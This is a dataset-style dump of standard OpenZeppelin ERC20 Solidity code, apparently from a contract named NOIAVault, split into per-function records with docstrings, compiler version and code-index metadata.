/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
approve
function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; }
/** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 1267, 1420 ] }
7,075
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; }
/** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 1886, 2147 ] }
7,076
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
increaseAllowance
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 2551, 2762 ] }
7,077
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 3260, 3481 ] }
7,078
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 3966, 4400 ] }
7,079
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } }
/** * @dev Implementation of the `IERC20` interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using `_mint`. * For a generic mechanism see `ERC20Mintable`. * * *For a detailed writeup see our guide [How to implement supply * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).* * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an `Approval` event is emitted on calls to `transferFrom`. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard `decreaseAllowance` and `increaseAllowance` * functions have been added to mitigate the well-known issues around setting * allowances. See `IERC20.approve`. */
NatSpecMultiLine
_mint
function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); }
/** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */
NatSpecMultiLine
v0.5.10+commit.5a6ea5b1
MIT
bzzr://31061468ee3262fc45797cac7bee022f405fc82ffb1ed3f1afb9d3d532da8842
{ "func_code_index": [ 4676, 4989 ] }
7,080
NOIAVault
NOIAVault.sol
0xda4936143386adc3a97e5c863a7da74d7777d002
Solidity
ERC20
